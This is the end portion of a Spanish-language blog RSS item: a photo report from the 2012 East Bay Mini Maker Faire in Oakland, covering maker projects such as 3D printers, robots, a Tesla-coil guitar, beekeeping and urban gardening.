<a href="https://lh4.googleusercontent.com/-HjmV7z0LrTA/UIDuNbJSzYI/AAAAAAAAYDE/2jwIW-ReUjE/s1600/IMG_20121014_133016.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-HjmV7z0LrTA/UIDuNbJSzYI/AAAAAAAAYDE/2jwIW-ReUjE/s307-c/IMG_20121014_133016.jpg" height="307" width="307" alt="orvtech.com en el Maker Faire - una oportunidad para conocer los activistas locales" /></a> <a href="https://lh4.googleusercontent.com/-TS4v_kezX7g/UIDuONEPcqI/AAAAAAAAYDU/grh2xyinYT4/s1600/IMG_20121014_133020.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-TS4v_kezX7g/UIDuONEPcqI/AAAAAAAAYDU/grh2xyinYT4/s307-c/IMG_20121014_133020.jpg" height="307" width="307" alt="orvtech.com - Maker Faire - una oportunidad para conocer los activistas locales" /></a><br />
<a href="https://lh6.googleusercontent.com/-PmcBPcRQihQ/UIDuSHihJQI/AAAAAAAAYEU/xD5plmsVkE4/s1600/IMG_20121014_134408.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-PmcBPcRQihQ/UIDuSHihJQI/AAAAAAAAYEU/xD5plmsVkE4/s307-c/IMG_20121014_134408.jpg" height="307" width="307" alt="orvtech.com - Maker Faire - clases para fabricar robots usando latas de cafe, coffee-bots?" /></a> <a href="https://lh4.googleusercontent.com/-eoDCWs1vRNI/UIDuS-u4UjI/AAAAAAAAYEk/52JlccUj-mk/s1600/IMG_20121014_134446.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-eoDCWs1vRNI/UIDuS-u4UjI/AAAAAAAAYEk/52JlccUj-mk/s307-c/IMG_20121014_134446.jpg" height="307" width="307" alt="En el Maker Faire con orvtech.com - clases para fabricar robots usando latas de cafe, coffee-bots?" /></a><br />
En el grupo de fotos de arriba esta uno de los vehículos que mas me gusto, es una canoa propulsada a pedal (ciclo-canoa?), no puedo ocultar lo mucho que me gusta el ciclismo aparte que el acabado y los detalles tenían un buen nivel. </p>
<p>
<a href="https://lh4.googleusercontent.com/-DOhC9DNK_8s/UIDufbl6sJI/AAAAAAAAYIU/uKzDpeT5JpY/s1600/IMG_20121014_145043.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-DOhC9DNK_8s/UIDufbl6sJI/AAAAAAAAYIU/uKzDpeT5JpY/s307-c/IMG_20121014_145043.jpg" height="307" width="307" alt="orvtech.com en el Maker Faire - hackers y científicos se encuentran con fabricantes artesanales de cerveza " /></a> <a href="https://lh3.googleusercontent.com/-UL2tlH2ElWc/UIDufEvW1SI/AAAAAAAAYIA/c3PehGREtgc/s1600/IMG_20121014_145037.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-UL2tlH2ElWc/UIDufEvW1SI/AAAAAAAAYIA/c3PehGREtgc/s307-c/IMG_20121014_145037.jpg" height="307" width="307" alt="En el Maker Faire con orvtech.com - una oportunidad para conocer los activistas locales" /></a></p>
<p>Creo que esta es la única vez que he visto un &#8216;hacker&#8217; costurero, usaba una maquina de coser que funcionaba con paneles solares portátiles como se puede ver en la foto y los detalles de los cuadros que creaba me hubiesen costado creer que son hechos por una persona si no lo hubiese visto en persona. </p>
<p></p>
<p><a href="https://lh5.googleusercontent.com/-gX2bGIuJ8jM/UIDuMBz8eZI/AAAAAAAAYCs/lWrfcgihSNQ/s1600/IMG_20121014_132534.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-gX2bGIuJ8jM/UIDuMBz8eZI/AAAAAAAAYCs/lWrfcgihSNQ/s200-c/IMG_20121014_132534.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - si alguna vez desarmaste algo para ver como funcionaba, aquí te sentirías como en nerdvana" /></a> <a href="https://lh5.googleusercontent.com/-6-mmJTIXS1w/UIDuNBqA_QI/AAAAAAAAYDA/AvN-vjyyfBI/s1600/IMG_20121014_132540.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-6-mmJTIXS1w/UIDuNBqA_QI/AAAAAAAAYDA/AvN-vjyyfBI/s200-c/IMG_20121014_132540.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh3.googleusercontent.com/-rHPrlYvdv2c/UIDuNJOGhzI/AAAAAAAAYDI/BI0t7Tu9WvA/s1600/IMG_20121014_132956.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-rHPrlYvdv2c/UIDuNJOGhzI/AAAAAAAAYDI/BI0t7Tu9WvA/s200-c/IMG_20121014_132956.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - " /></a><br />
<br />
 <a href="https://lh4.googleusercontent.com/-QQX0ZCDgEFo/UIDuPMXL_II/AAAAAAAAYDg/WOB376_BR-o/s1600/IMG_20121014_133036.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-QQX0ZCDgEFo/UIDuPMXL_II/AAAAAAAAYDg/WOB376_BR-o/s200-c/IMG_20121014_133036.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - hackers y científicos se encuentran con fabricantes artesanales de cerveza " /></a> <a href="https://lh6.googleusercontent.com/-J65oj2veQqs/UIDuOkiDPuI/AAAAAAAAYDY/pL-5QlNe2yg/s1600/IMG_20121014_133055.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-J65oj2veQqs/UIDuOkiDPuI/AAAAAAAAYDY/pL-5QlNe2yg/s200-c/IMG_20121014_133055.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh3.googleusercontent.com/-NXIUaCdvEjc/UIDuPQudw2I/AAAAAAAAYDs/5zSOTQGLCBQ/s1600/IMG_20121014_133059.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-NXIUaCdvEjc/UIDuPQudw2I/AAAAAAAAYDs/5zSOTQGLCBQ/s200-c/IMG_20121014_133059.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - artistas plásticos y ecologistas se encuentran en Oakland" /></a><br />
En las imágenes que están en la parte superior se puede ver desde imprentas mecánicas hasta instrumentos musicales que funcionaban con vapor de agua con ambos se podía experimentar, algunos requerían lentes y guantes para evitar accidentes.</p>
<p>
<a href="https://lh4.googleusercontent.com/-bA8aOkQ-el4/UIDuhbwOd2I/AAAAAAAAYI0/xDRBsud8uQA/s1600/IMG_20121014_145925.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-bA8aOkQ-el4/UIDuhbwOd2I/AAAAAAAAYI0/xDRBsud8uQA/s200-c/IMG_20121014_145925.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh5.googleusercontent.com/-vqezoP3rULQ/UIDuinkyFZI/AAAAAAAAYJQ/V8INlOOzf7I/s1600/IMG_20121014_150253.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-vqezoP3rULQ/UIDuinkyFZI/AAAAAAAAYJQ/V8INlOOzf7I/s200-c/IMG_20121014_150253.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - activistas ecológicos y mas" /></a> <a href="https://lh5.googleusercontent.com/-EBxJ_DjYvwE/UIDuiqACwiI/AAAAAAAAYJY/8vEoaCF5J3w/s1600/IMG_20121014_150257.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-EBxJ_DjYvwE/UIDuiqACwiI/AAAAAAAAYJY/8vEoaCF5J3w/s200-c/IMG_20121014_150257.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - una oportunidad para conocer los activistas locales" /></a><br />
<br />
Arriba, el juguete que todos queremos, un <em>MakerBot Replicator</em> o impresora 3D, vi unos cuantos artículos que fabricaron estando allí y quede enamorado de esta maquina de hardware y código abierto. Estando allí tuve la oportunidad de ver a su competidor, un clon chino de software y hardware propietario y privativo que casualmente es el centro de una reciente ola de rumores sobre la posibilidad de que esta herramienta empezara a cerrar su código y hardware. Pueden darle un vistazo al articulo completo en: <a href="http://blog.makezine.com/2012/09/19/is-one-of-our-open-source-heroes-going-closed-source/" rel="nofollow external" hreflang="en">Is One of Our Open Source Heroes Going Closed Source?</a></p>
<p>
<a href="https://lh5.googleusercontent.com/-pFQwFIDN_ME/UIDuj4aNqgI/AAAAAAAAYJs/ELOA5HvJG3o/s1600/IMG_20121014_150757.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-pFQwFIDN_ME/UIDuj4aNqgI/AAAAAAAAYJs/ELOA5HvJG3o/s200-c/IMG_20121014_150757.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - " /></a> <a href="https://lh3.googleusercontent.com/-a0asKFnUheQ/UIDuj7ab65I/AAAAAAAAYJo/OnQlyCaFujk/s1600/IMG_20121014_150754.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-a0asKFnUheQ/UIDuj7ab65I/AAAAAAAAYJo/OnQlyCaFujk/s200-c/IMG_20121014_150754.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - si alguna vez desarmaste algo para ver como funcionaba, aquí te sentirías como en nerdvana" /></a> <a href="https://lh5.googleusercontent.com/-nKjHr8-lJv0/UIDujAacpQI/AAAAAAAAYJU/zyG55ixr2Jk/s1600/IMG_20121014_150719.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-nKjHr8-lJv0/UIDujAacpQI/AAAAAAAAYJU/zyG55ixr2Jk/s200-c/IMG_20121014_150719.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - si alguna vez desarmaste algo para ver como funcionaba, aquí te sentirías como en nerdvana" /></a><br />
<br />
<a href="https://lh6.googleusercontent.com/-iok8vfFI0sQ/UIDuhHUNIZI/AAAAAAAAYI4/HK72dBRQUOA/s1600/IMG_20121014_145124.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-iok8vfFI0sQ/UIDuhHUNIZI/AAAAAAAAYI4/HK72dBRQUOA/s200-c/IMG_20121014_145124.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - hackers y científicos se encuentran con fabricantes artesanales de cerveza " /></a> <a href="https://lh3.googleusercontent.com/-08SasMcjeFQ/UIDugK1Of-I/AAAAAAAAYIQ/Wn27aThpMNA/s1600/IMG_20121014_145117.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-08SasMcjeFQ/UIDugK1Of-I/AAAAAAAAYIQ/Wn27aThpMNA/s200-c/IMG_20121014_145117.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh6.googleusercontent.com/-GNOWkZoHoOM/UIDucBIBISI/AAAAAAAAYG8/-Ei_VWp1WBo/s1600/IMG_20121014_142704.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-GNOWkZoHoOM/UIDucBIBISI/AAAAAAAAYG8/-Ei_VWp1WBo/s200-c/IMG_20121014_142704.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - si alguna vez desarmaste algo para ver como funcionaba, aquí te sentirías como en nerdvana" /></a><br />
<br />
<a href="https://lh6.googleusercontent.com/-jvsfWW6xlb8/UIDubhRLpNI/AAAAAAAAYHA/gjkxVZgdcWE/s1600/IMG_20121014_142658.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-jvsfWW6xlb8/UIDubhRLpNI/AAAAAAAAYHA/gjkxVZgdcWE/s200-c/IMG_20121014_142658.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - " /></a> <a href="https://lh3.googleusercontent.com/-pyZIsDahWBI/UIDucoN48RI/AAAAAAAAYHI/7gEMgmIgbYU/s1600/IMG_20121014_142853.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-pyZIsDahWBI/UIDucoN48RI/AAAAAAAAYHI/7gEMgmIgbYU/s200-c/IMG_20121014_142853.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - si alguna vez desarmaste algo para ver como funcionaba, aquí te sentirías como en nerdvana" /></a> <a href="https://lh6.googleusercontent.com/-LLSiUuVgo0E/UIDuhGvZx7I/AAAAAAAAYJE/CW-SihvwI7s/s1600/IMG_20121014_145547.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-LLSiUuVgo0E/UIDuhGvZx7I/AAAAAAAAYJE/CW-SihvwI7s/s200-c/IMG_20121014_145547.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - cursos de soldar" /></a>   </p>
<p>Alguien dijo Robots? La verdad es que vi infinidad de robots pero no les tome muchas fotos, arriba pueden ver algunos bastante grandes, otros coffee-bots basados en arduino </p>
<p>
<a href="https://lh5.googleusercontent.com/-OLYgisPRb9U/UIDubYxjXLI/AAAAAAAAYGw/s5gUcicnEHI/s1600/IMG_20121014_142544.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-OLYgisPRb9U/UIDubYxjXLI/AAAAAAAAYGw/s5gUcicnEHI/s307-c/IMG_20121014_142544.jpg" height="307" width="307" alt="orvtech.com - Maker Faire - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh3.googleusercontent.com/-8-IWEFhRIDo/UIDulfZl_wI/AAAAAAAAYJ8/QJPW-cCykOg/s1600/IMG_20121014_153525.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-8-IWEFhRIDo/UIDulfZl_wI/AAAAAAAAYJ8/QJPW-cCykOg/s307-c/IMG_20121014_153525.jpg" height="307" width="307" alt="orvtech.com en el Maker Faire - si alguna vez desarmaste algo para ver como funcionaba, aquí te sentirías como en nerdvana" /></a><br />
En estas fotos se puede ver la fuente de energía de la feria de comida y parte de varias exhibiciones que tenían.<br />
</p>
<p><a href="https://lh5.googleusercontent.com/-pKv1MPETm6Y/UIDuXfa7Z6I/AAAAAAAAYFw/AJnw_aljUJc/s1600/IMG_20121014_135426.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-pKv1MPETm6Y/UIDuXfa7Z6I/AAAAAAAAYFw/AJnw_aljUJc/s200-c/IMG_20121014_135426.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - artistas plásticos y ecologistas se encuentran en Oakland" /></a> <a href="https://lh4.googleusercontent.com/-q1mT72la79k/UIDuYHArbKI/AAAAAAAAYF4/5NcUc-ERXmI/s1600/IMG_20121014_135606.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-q1mT72la79k/UIDuYHArbKI/AAAAAAAAYF4/5NcUc-ERXmI/s200-c/IMG_20121014_135606.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - " /></a> <a href="https://lh4.googleusercontent.com/-VnAPwztPcQA/UIDuW0-gV1I/AAAAAAAAYFk/gPpXzbGyMRg/s1600/IMG_20121014_135402.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-VnAPwztPcQA/UIDuW0-gV1I/AAAAAAAAYFk/gPpXzbGyMRg/s200-c/IMG_20121014_135402.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - activistas ecológicos y mas" /></a><br />
Estas fotos son lo que podría ser una de las pocas guitarras-Tesla-coils en el mundo, creo que a cualquier músico que le guste el alto voltaje puede apreciarla. </p>
<p>
<a href="https://lh4.googleusercontent.com/-YJjsZwU5mac/UIDuaoj9sfI/AAAAAAAAYGk/8FGpRseDaC4/s1600/IMG_20121014_140902.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-YJjsZwU5mac/UIDuaoj9sfI/AAAAAAAAYGk/8FGpRseDaC4/s307-c/IMG_20121014_140902.jpg" height="307" width="307" alt="En el Maker Faire con orvtech.com - cursos de soldar" /></a> <a href="https://lh6.googleusercontent.com/-ivfUaiSiH94/UIDuW_dGK3I/AAAAAAAAYFo/qXYo4P3nyeY/s1600/IMG_20121014_134903.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-ivfUaiSiH94/UIDuW_dGK3I/AAAAAAAAYFo/qXYo4P3nyeY/s307-c/IMG_20121014_134903.jpg" height="307" width="307" alt="En el Maker Faire con orvtech.com - excelente para compartir ideas, proyectos o dudas" /></a><br />
Creo que no necesita explicaciones, no?</p>
<p>
<a href="https://lh5.googleusercontent.com/-8WtkS33UG4I/UIDuQxvlObI/AAAAAAAAYEI/6SDVO4U_tiY/s1600/IMG_20121014_133421.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-8WtkS33UG4I/UIDuQxvlObI/AAAAAAAAYEI/6SDVO4U_tiY/s200-c/IMG_20121014_133421.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - " /></a> <a href="https://lh4.googleusercontent.com/-v19O_88bUzU/UIDuQ6eUjoI/AAAAAAAAYEM/jo0L2NyXEPA/s1600/IMG_20121014_133438.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-v19O_88bUzU/UIDuQ6eUjoI/AAAAAAAAYEM/jo0L2NyXEPA/s200-c/IMG_20121014_133438.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - " /></a> <a href="https://lh6.googleusercontent.com/-mo8yay9glU0/UIDuRKuVVHI/AAAAAAAAYEA/xR9TeH3mxrE/s1600/IMG_20121014_133459.jpg" "type="image/jpg"><img src="https://lh6.googleusercontent.com/-mo8yay9glU0/UIDuRKuVVHI/AAAAAAAAYEA/xR9TeH3mxrE/s200-c/IMG_20121014_133459.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - clases para fabricar robots usando latas de cafe, coffee-bots?" /></a><br />
Esto es algo que pude ver en los andes de mi país (Venezuela) o era antes de venirme pero no esperaba verlo aquí. Es el proceso de como a partir de una bola de lana, sacar hilos para tejer un abrigo.</p>
<p>
<a href="https://lh4.googleusercontent.com/-RN4bGHMbNak/UIDuZTJeTDI/AAAAAAAAYGQ/4CfEVblW3JM/s1600/IMG_20121014_135847.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-RN4bGHMbNak/UIDuZTJeTDI/AAAAAAAAYGQ/4CfEVblW3JM/s307-c/IMG_20121014_135847.jpg" height="307" width="307" alt="En el Maker Faire con orvtech.com - ciencia, ingeniería y altas dosis de creatividad" /></a> <a href="https://lh3.googleusercontent.com/-FQ6eJ-cY304/UIDuZcNBm_I/AAAAAAAAYGM/tazJngpFuvE/s1600/IMG_20121014_135856.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-FQ6eJ-cY304/UIDuZcNBm_I/AAAAAAAAYGM/tazJngpFuvE/s307-c/IMG_20121014_135856.jpg" height="307" width="307" alt="orvtech.com en el Maker Faire - excelente para compartir ideas, proyectos o dudas" /></a><br />
<a href="https://lh4.googleusercontent.com/-sAxdcgCVASk/UIDuaOEntBI/AAAAAAAAYGY/mdSUCRKncrQ/s1600/IMG_20121014_135945.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-sAxdcgCVASk/UIDuaOEntBI/AAAAAAAAYGY/mdSUCRKncrQ/s307-c/IMG_20121014_135945.jpg" height="307" width="307" alt="orvtech.com - Maker Faire - excelente para compartir ideas, proyectos o dudas" /></a> <a href="https://lh4.googleusercontent.com/-h2EZ56v5yoo/UIDuYzy8GMI/AAAAAAAAYGE/6uNZxsl9m5A/s1600/IMG_20121014_135824.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-h2EZ56v5yoo/UIDuYzy8GMI/AAAAAAAAYGE/6uNZxsl9m5A/s307-c/IMG_20121014_135824.jpg" height="307" width="307" alt="orvtech.com - Maker Faire - manualidades de lo más variopintas que integran arte" /></a><br />
Un poco de apicultura. La mayoría de estos quioscos le enseñan a uno a tener este tipo de tecnología en casa, en el caso de los apicultores no pregunte precio pero recientemente vi en PBS un programa que debe de estar relacionado con este movimiento; el programa se enfoco en huertos urbanos, enseñaban a tener un jardín elevado del suelo (imagino que pare evitar plagas) con dos o tres frutos distintos. El costo eran los materiales y una donación adicional de menos de $50, que en realidad no cubrirla ni una hora técnica de esta gente. Esa donación va para un fondo para subsidiar a quienes este interesados y no puedan pagar por materiales ni nada.</p>
<p>Me pareció interesante y un tanto útil en caso de alguna emergencia económica o catástrofes mayores. </p>
<p>
<a href="https://lh4.googleusercontent.com/-xGWbK4SWTFU/UIDuj9eQZcI/AAAAAAAAYJw/IGYaDyxOT9g/s1600/IMG_20121014_153135.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-xGWbK4SWTFU/UIDuj9eQZcI/AAAAAAAAYJw/IGYaDyxOT9g/s307-c/IMG_20121014_153135.jpg" height="307" width="307" alt="orvtech.com - Maker Faire - artistas plásticos y ecologistas se encuentran en Oakland" /></a> <a href="https://lh3.googleusercontent.com/-cnrg2fjstbM/UIDulQOVY8I/AAAAAAAAYKA/WPin6WdogCw/s1600/IMG_20121014_153144.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-cnrg2fjstbM/UIDulQOVY8I/AAAAAAAAYKA/WPin6WdogCw/s307-c/IMG_20121014_153144.jpg" height="307" width="307" alt="En el Maker Faire con orvtech.com - manualidades de lo más variopintas que integran arte" /></a><br />
<a href="https://lh5.googleusercontent.com/-Ryc6zRR_XEI/UIDuPtyWLII/AAAAAAAAYDo/jBOcVQjR29E/s1600/IMG_20121014_133247.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-Ryc6zRR_XEI/UIDuPtyWLII/AAAAAAAAYDo/jBOcVQjR29E/s200-c/IMG_20121014_133247.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - ciencia, ingeniería y altas dosis de creatividad" /></a> <a href="https://lh3.googleusercontent.com/-QB5FlVnNfOQ/UIDuQHKeUgI/AAAAAAAAYDw/Wfh8PSYTHhY/s1600/IMG_20121014_133259.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-QB5FlVnNfOQ/UIDuQHKeUgI/AAAAAAAAYDw/Wfh8PSYTHhY/s200-c/IMG_20121014_133259.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - excelente para compartir ideas, proyectos o dudas" /></a> <a href="https://lh5.googleusercontent.com/-8WtkS33UG4I/UIDuQxvlObI/AAAAAAAAYEI/6SDVO4U_tiY/s1600/IMG_20121014_133421.jpg" "type="image/jpg"><img src="https://lh5.googleusercontent.com/-8WtkS33UG4I/UIDuQxvlObI/AAAAAAAAYEI/6SDVO4U_tiY/s200-c/IMG_20121014_133421.jpg" height="200" width="200" alt="orvtech.com - Maker Faire - " /></a><br />
La música también estuvo presente.</p>
<p></p>
<p>&nbsp;</p>
<p>
 <a href="https://lh3.googleusercontent.com/-s1pRYA12qaY/UIDuUlyQNjI/AAAAAAAAYE4/cEF6zz3n54Q/s1600/IMG_20121014_134550.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-s1pRYA12qaY/UIDuUlyQNjI/AAAAAAAAYE4/cEF6zz3n54Q/s200-c/IMG_20121014_134550.jpg" height="200" width="200" alt="En el Maker Faire con orvtech.com - manualidades de lo más variopintas que integran arte" /></a> <a href="https://lh3.googleusercontent.com/-eWNURGVnR7Q/UIDuUqE4NcI/AAAAAAAAYFA/rJK5rEo-v4U/s1600/IMG_20121014_134642.jpg" "type="image/jpg"><img src="https://lh3.googleusercontent.com/-eWNURGVnR7Q/UIDuUqE4NcI/AAAAAAAAYFA/rJK5rEo-v4U/s200-c/IMG_20121014_134642.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - " /></a> <a href="https://lh4.googleusercontent.com/-_WOA9yzSuxE/UIDuVsd9l1I/AAAAAAAAYFQ/AWzg5tfNDpM/s1600/IMG_20121014_134705.jpg" "type="image/jpg"><img src="https://lh4.googleusercontent.com/-_WOA9yzSuxE/UIDuVsd9l1I/AAAAAAAAYFQ/AWzg5tfNDpM/s200-c/IMG_20121014_134705.jpg" height="200" width="200" alt="orvtech.com en el Maker Faire - hackers y científicos se encuentran con fabricantes artesanales de cerveza " /></a><br />
Hacktivismo en autos?<br />
</p>
<p>Tome como treinta fotos mas pero no creo que sean de su interés, si aun les da curiosidad, pueden visitar el álbum de Picasa donde las alojo. En general el evento fue excelente aunque no tengo contra que compararlo pues es mi primer evento de este estilo pero no será el ultimo, definitivamente este tipo de actividades hacen falta en todas las ciudades. Me gustaría ver este tipo de iniciativas en Miami donde vivi casi diez años y no vi nada parecido.</p>
<p>Album de Picasa: <a href="https://picasaweb.google.com/117745712613032623129/EastBayMiniMakerFaire" title="Album de picasa de orvtech.com sobre el Maker Faire" target="_blank" rel="nofollow external">https://picasaweb.google.com/117745712613032623129/EastBayMiniMakerFaire</a></p>
<p><a href="http://orvtech.com/general/east-bay-mini-maker-faire-2012/">Mini feria Maker del este de la bahía</a> es un articulo de: <a href="http://orvtech.com" rel="friend">orvtech.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://orvtech.com/general/east-bay-mini-maker-faire-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
